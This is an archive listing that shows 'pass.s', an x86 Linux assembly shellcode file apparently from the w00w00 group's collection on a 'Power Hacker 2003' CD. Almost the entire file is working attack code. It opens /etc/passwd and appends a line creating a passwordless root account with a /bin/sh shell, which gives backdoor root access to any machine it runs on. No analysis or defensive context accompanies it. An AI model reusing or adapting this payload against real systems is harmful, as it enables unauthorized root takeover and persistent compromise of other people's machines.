home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / linux / pass.s < prev   
Encoding:
Text File  |  2002-01-01  |  1.0 KB  |  69 lines

  1. # Source to pass.c (shell code to append a root line to the passwd file)
  2.  
  3.   jmp call_w00w00
  4.  
  5. w00w00:
  6.   popl %edi
  7.   jmp w0w0w
  8.  
  9. call_w00w00:
  10.  
  11.   call w00w00
  12.  
  13. w0w0w:
  14.  
  15.  # OPEN
  16.  # ecx=flag (O_RDONLY, O_WRONLY, ...) 
  17.  #     O_WRONLY | O_APPEND | O_CREAT = 0x441
  18.  # edx=file mode
  19.  # ebx=address of filename
  20.  # eax=0x05 syscall number
  21.  
  22.   xorl %ebx,%ebx
  23.   movb $(file-w0w0w),%bl
  24.   addl %edi,%ebx
  25.  
  26.   xorb %al,%al
  27.   movb %al,11(%ebx)
  28.  
  29.   xorl %ecx,%ecx
  30.   movw $0x441,%cx
  31.  
  32.   xorl %edx,%edx
  33.   movw $00644,%dx
  34.  
  35.   xorl %eax,%eax
  36.   movb $0x5,%al
  37.  
  38.   int $0x80
  39.   movl %eax,%ebx    # save file descriptor to %ebx (for write)
  40.  
  41. #  WRITE
  42. #  ecx=address of buffer to write
  43. #  edx=number of bytes to write
  44. #  ebx=file descriptor
  45. #  eax=0x04
  46.   
  47.   xorl %ecx,%ecx
  48.   movb $(string-w0w0w),%cl
  49.   addl %edi,%ecx
  50.  
  51.   xorl %edx,%edx
  52.   movb $31,%dl
  53.  
  54.   xorl %eax,%eax
  55.   movb $0x04,%al
  56.  
  57.   int $0x80                                           
  58.   
  59.   xorl %eax,%eax
  60.   movb $1,%al
  61.   int $0x80
  62.   
  63. file:  
  64. .ascii "/etc/passwd"
  65. endfile:
  66. .byte 1 
  67. string:
  68. .ascii "w00w00::0:0:w0w0w!:/:/bin/sh\n"
  69.